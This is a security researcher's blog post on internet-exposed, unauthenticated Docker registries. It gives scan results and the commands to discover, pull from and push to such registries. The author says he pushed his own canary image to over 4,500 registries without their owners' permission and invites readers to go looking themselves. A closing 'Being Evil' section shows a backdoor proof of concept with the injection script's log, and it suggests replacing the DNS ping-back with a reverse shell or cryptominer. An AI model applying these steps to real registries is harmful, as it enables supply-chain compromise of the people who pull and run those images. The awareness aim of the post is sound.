Unprotected container registries

Monday, August 12th 2024  — 
 call-to-actionresearchsupplychain

The Growing Threat of Unprotected Container Registries: An Urgent Call to Action

In the rapidly evolving world of software development, containerization has become a cornerstone of modern infrastructure. Container registries, the repositories where container images are stored and distributed, play a critical role in this ecosystem. However, a persistent and alarming issue threatens the security of countless applications and systems worldwide: unprotected container registries.

Understanding Container Registries 🐳

Container registries serve as centralized repositories where developers can store and share container images. These images encapsulate everything needed to run a piece of software, making them an integral part of the development lifecycle. Popular registries like Docker Hub, Amazon ECR, and Google Container Registry offer robust security features, yet many organizations and individuals opt for private registries. Unfortunately, these are often left unsecured, exposing sensitive data to anyone with an Internet connection.

Unprotected Registries 🔏: A Widespread Problem

In 2022, my comprehensive scan of the entire Internet (0.0.0.0/0) revealed over 21,000 unprotected container registries. These were not minor oversights; I discovered sensitive data ranging from TPLink's cloud service code to payment service credentials. Shockingly, a follow-up scan in 2024 still showed more than 10,000 unsecured registries. Despite increased awareness of cybersecurity threats, the problem persists, posing a significant risk to the software supply chain.

The Risks and Consequences 🔥

Unprotected container registries are akin to leaving the front door of a bank open. They expose organizations to a plethora of risks, including unauthorized access, data leaks, and malicious injections. Attackers can easily pull images containing sensitive information, modify them with backdoors, and push them back, awaiting deployment into production environments.

The infamous Codecov supply chain attack is a testament to the catastrophic impact such vulnerabilities can have. Attackers exploited an unprotected third-party script to inject malicious code, affecting thousands of downstream customers.

Supply Chain 🔗 Attacks: A Growing Threat

Supply chain attacks have become a preferred method for cybercriminals, as they allow attackers to compromise trusted sources to reach a broad audience. Unprotected registries provide an easy entry point for such attacks, potentially impacting millions of users and systems. The SolarWinds hack, which leveraged a compromised build system to distribute malware, underscores the devastating potential of supply chain breaches.

Technical Overview: Discovering Open Docker Registries 🧐

The process of discovering and interacting with open Docker registries is alarmingly straightforward. Docker registries typically run on port 5000, and a simple HTTP request can reveal whether a registry is exposed without authentication. Here’s a brief overview of how attackers or researchers might identify and interact with unprotected registries:

Port Scanning: Use network scanning tools such as nmap to identify hosts with open port 5000:

❯ nmap -p 5000 <IP_RANGE>

Checking for Open Registries: Once a registry is identified, a simple HTTP request can be used to check if it’s unprotected. For example:

❯ curl http://<IP>:5000/v2/_catalog

This request will list all available repositories in the registry if it is open and unprotected.
Pulling and Pushing Images: If a registry is unprotected, anyone can pull images using:

❯ docker pull <IP>:5000/<repository>:<tag>

Similarly, pushing modified images back to the registry is also possible:

❯ docker tag <local_image> <IP>:5000/<repository>:<tag>
❯ docker push <IP>:5000/<repository>:<tag>

This ease of access underscores the need for robust security measures and regular audits to prevent unauthorized access and data breaches.

Btw. I am quite sure there are many more unprotected registries waiting on port 443/TLS with some juicy images waiting for you all.

Ethical Considerations ⚖️ in Security Research

During my research, I grappled with ethical dilemmas. Backdooring available images would provide tangible proof of vulnerability but would be unethical and illegal. Instead, I opted to upload my own image to vulnerable targets, which displayed an ASCII animation and performed a DNS lookup to a canary domain when executed. This approach, though controversial, aimed to raise awareness without causing harm.

If you want to enjoy the experience yourself, here you go:

❯ docker run --rm registry.drehsec.tk/www.dreher.in:latest

The Need for Urgent Change 🔧

The persistence of unprotected container registries underscores a dire need for change. Organizations must prioritize security by enforcing authentication, implementing role-based access control, and regularly auditing their registries. Developers should adopt best practices, including image signing and scanning for vulnerabilities. The community as a whole must advocate for greater awareness and education on the risks associated with unsecured registries.

During my journey, I was able to push my image to more then 4500 unprotected respositories:

root@worker1:~# wc -l *.successful 
  309 0.0.0.0.ips.5000.clean.successful
  315 112.0.0.0.ips.5000.clean.successful
  380 128.0.0.0.ips.5000.clean.successful
  391 144.0.0.0.ips.5000.clean.successful
  114 16.0.0.0.ips.5000.clean.successful
  352 160.0.0.0.ips.5000.clean.successful
  315 176.0.0.0.ips.5000.clean.successful
  327 192.0.0.0.ips.5000.clean.successful
    6 208.0.0.0.ips.5000.clean.successful
    0 224.0.0.0.ips.5000.clean.successful
    0 240.0.0.0.ips.5000.clean.successful
  850 32.0.0.0.ips.5000.clean.successful
  331 48.0.0.0.ips.5000.clean.successful
  258 64.0.0.0.ips.5000.clean.successful
  262 80.0.0.0.ips.5000.clean.successful
  359 96.0.0.0.ips.5000.clean.successful
 4569 total

Slowly my footprint on Shodan is also increasing minute by minute :)

So far, only a handful systems have directly executed my image and sent me a DNS ping back. But this is not surprising, the effect of overwriting existing images would certainly be more noticeable.

Conclusion 🏁

Unprotected container registries represent a significant threat to the software supply chain and cybersecurity. Despite progress in recent years, the problem remains widespread. It is imperative that we address these vulnerabilities to protect our digital infrastructure. I urge organizations, developers, and security professionals to take immediate action, secure their registries, and contribute to a safer digital landscape.

Being Evil 😈

Here is a short PoC how quickly an existing unprotected image could be backdoored. Let's create a victim image on my unprotected registry first:

❯ docker pull ubuntu
Using default tag: latest
latest: Pulling from library/ubuntu
Digest: sha256:2e863c44b718727c860746568e1d54afd13b2fa71b160f5cd9058fc436217b30
Status: Image is up to date for ubuntu:latest
docker.io/library/ubuntu:latest

❯ docker tag ubuntu registry.drehsec.tk/ubuntu:latest

❯ docker push registry.drehsec.tk/ubuntu:latest
The push refers to repository [registry.drehsec.tk/ubuntu]
a30a5965a4f7: Pushed 
latest: digest: sha256:19bc204df71f4086020b609089ebf49b332c2e373ec31e3512644b8ad9615001 size: 529

And now let's backdoor it with some magic :)

❯ ./pwnage_v3.sh registry.drehsec.tk/ubuntu:latest
Starting Docker-in-Docker (dind) container...
docker-dind-registry_drehsec_tk-ubuntu
Backdoor process completed. See registry.drehsec.tk_ubuntu_latest_backdoor_log.txt for details.

❯ cat registry.drehsec.tk_ubuntu_latest_backdoor_log.txt
1dc1324bae478aa2cbc496bda6e99e8b4a7089728f8a075e01dd5d192d69252c
fetch https://dl-cdn.alpinelinux.org/alpine/v3.20/main/x86_64/APKINDEX.tar.gz
fetch https://dl-cdn.alpinelinux.org/alpine/v3.20/community/x86_64/APKINDEX.tar.gz
v3.20.2-83-g7d5818fe8a5 [https://dl-cdn.alpinelinux.org/alpine/v3.20/main]
v3.20.2-91-g4fae2877eea [https://dl-cdn.alpinelinux.org/alpine/v3.20/community]
OK: 24158 distinct packages available
(1/2) Installing oniguruma (6.9.9-r0)
(2/2) Installing jq (1.7.1-r0)
Executing busybox-1.36.1-r29.trigger
OK: 44 MiB in 75 packages
Pulling image registry.drehsec.tk/ubuntu:latest...
latest: Pulling from ubuntu
2b3981cac065: Pulling fs layer
2b3981cac065: Verifying Checksum
2b3981cac065: Download complete
2b3981cac065: Pull complete
Digest: sha256:19bc204df71f4086020b609089ebf49b332c2e373ec31e3512644b8ad9615001
Status: Downloaded newer image for registry.drehsec.tk/ubuntu:latest
registry.drehsec.tk/ubuntu:latest
Determining the package manager...
Using temporary directory /tmp/tmp.dHALJf
Building the modified image...
#0 building with "default" instance using docker driver

#1 [internal] load build definition from Dockerfile
#1 transferring dockerfile: 541B done
#1 DONE 0.1s

#2 [internal] load metadata for registry.drehsec.tk/ubuntu:latest
#2 DONE 0.0s

#3 [internal] load .dockerignore
#3 transferring context: 2B done
#3 DONE 0.1s

#4 [1/4] FROM registry.drehsec.tk/ubuntu:latest
#4 DONE 0.1s

#5 [2/4] RUN if [ "ubuntu" = "alpine" ]; then       apk update && apk add --no-cache bash bind-tools;     elif [ "ubuntu" = "debian" ] || [ "ubuntu" = "ubuntu" ]; then       apt-get update && apt-get install -y 
bash dnsutils;     else       echo "Unsupported base image package manager: ubuntu" && exit 1;     fi
#5 ...

#6 [internal] load build context
#6 transferring context: 193B done
#6 DONE 0.2s
#5 [2/4] RUN if [ "ubuntu" = "alpine" ]; then       apk update && apk add --no-cache bash bind-tools;     elif [ "ubuntu" = "debian" ] || [ "ubuntu" = "ubuntu" ]; then       apt-get update && apt-get install -y 
bash dnsutils;     else       echo "Unsupported base image package manager: ubuntu" && exit 1;     fi
#5 0.466 Get:1 http://security.ubuntu.com/ubuntu noble-security InRelease [126 kB]
#5 0.652 Get:2 http://archive.ubuntu.com/ubuntu noble InRelease [256 kB]
#5 0.848 Get:3 http://security.ubuntu.com/ubuntu noble-security/universe amd64 Packages [333 kB]
#5 0.989 Get:4 http://security.ubuntu.com/ubuntu noble-security/multiverse amd64 Packages [12.7 kB]
#5 1.012 Get:5 http://security.ubuntu.com/ubuntu noble-security/main amd64 Packages [360 kB]
#5 1.048 Get:6 http://security.ubuntu.com/ubuntu noble-security/restricted amd64 Packages [299 kB]
#5 1.235 Get:7 http://archive.ubuntu.com/ubuntu noble-updates InRelease [126 kB]
#5 1.386 Get:8 http://archive.ubuntu.com/ubuntu noble-backports InRelease [126 kB]
#5 1.531 Get:9 http://archive.ubuntu.com/ubuntu noble/restricted amd64 Packages [117 kB]
#5 1.569 Get:10 http://archive.ubuntu.com/ubuntu noble/universe amd64 Packages [19.3 MB]
#5 3.813 Get:11 http://archive.ubuntu.com/ubuntu noble/main amd64 Packages [1808 kB]
#5 4.046 Get:12 http://archive.ubuntu.com/ubuntu noble/multiverse amd64 Packages [331 kB]
#5 4.051 Get:13 http://archive.ubuntu.com/ubuntu noble-updates/universe amd64 Packages [428 kB]
#5 4.086 Get:14 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 Packages [436 kB]
#5 4.091 Get:15 http://archive.ubuntu.com/ubuntu noble-updates/restricted amd64 Packages [309 kB]
#5 4.096 Get:16 http://archive.ubuntu.com/ubuntu noble-updates/multiverse amd64 Packages [16.9 kB]
#5 4.096 Get:17 http://archive.ubuntu.com/ubuntu noble-backports/universe amd64 Packages [11.5 kB]
#5 5.191 Fetched 24.4 MB in 5s (5022 kB/s)
#5 5.191 Reading package lists...
#5 6.277 Reading package lists...
#5 7.319 Building dependency tree...
#5 7.547 Reading state information...
#5 8.017 bash is already the newest version (5.2.21-2ubuntu4).
#5 8.017 The following additional packages will be installed:
#5 8.018   bind9-dnsutils bind9-host bind9-libs krb5-locales libbsd0 libedit2
#5 8.018   libgssapi-krb5-2 libicu74 libjson-c5 libk5crypto3 libkeyutils1 libkrb5-3
#5 8.020   libkrb5support0 liblmdb0 libmaxminddb0 libnghttp2-14 libuv1t64 libxml2
#5 8.022 Suggested packages:
#5 8.022   krb5-doc krb5-user mmdb-bin
#5 8.089 The following NEW packages will be installed:
#5 8.090   bind9-dnsutils bind9-host bind9-libs dnsutils krb5-locales libbsd0 libedit2
#5 8.090   libgssapi-krb5-2 libicu74 libjson-c5 libk5crypto3 libkeyutils1 libkrb5-3
#5 8.092   libkrb5support0 liblmdb0 libmaxminddb0 libnghttp2-14 libuv1t64 libxml2
#5 8.198 0 upgraded, 19 newly installed, 0 to remove and 3 not upgraded.
#5 8.198 Need to get 14.1 MB of archives.
#5 8.198 After this operation, 46.3 MB of additional disk space will be used.
#5 8.198 Get:1 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 krb5-locales all 1.20.1-6ubuntu2.1 [14.0 kB]
...
#5 12.29 Processing triggers for libc-bin (2.39-0ubuntu8.2) ...
#5 DONE 12.6s

#7 [3/4] COPY entrypoint.sh /usr/local/bin/entrypoint.sh
#7 DONE 0.1s

#8 [4/4] RUN chmod +x /usr/local/bin/entrypoint.sh
#8 DONE 0.4s

#9 exporting to image
#9 exporting layers
#9 exporting layers 0.6s done
#9 writing image sha256:f60299dda15c15a1b9d1f5b83fa9a9b807de07ed5746d2e3681939c6d831a8a4 done
#9 naming to registry.drehsec.tk/ubuntu:latest done
#9 DONE 0.7s
Pushing the modified image to registry.drehsec.tk/ubuntu:latest...
The push refers to repository [registry.drehsec.tk/ubuntu]
23ef6de0306a: Preparing
bcddd1522031: Preparing
4a53f5658a49: Preparing
a30a5965a4f7: Preparing
a30a5965a4f7: Layer already exists
bcddd1522031: Pushed
23ef6de0306a: Pushed
4a53f5658a49: Pushed
latest: digest: sha256:154dc432945561ca93bcd834a7212693a465b200bf3ca3b38d9dbcfcdb404cd6 size: 1155
Temporary files removed. Done!

It's done in a couple of seconds:

As soon as a container is started from that image, I will get a DNS ping back. Replace that DNS ping back with a reverse shell, cryptominer or anything else.

❯ docker run --rm registry.drehsec.tk/ubuntu:latest
DNS PIng received through Discord Webhook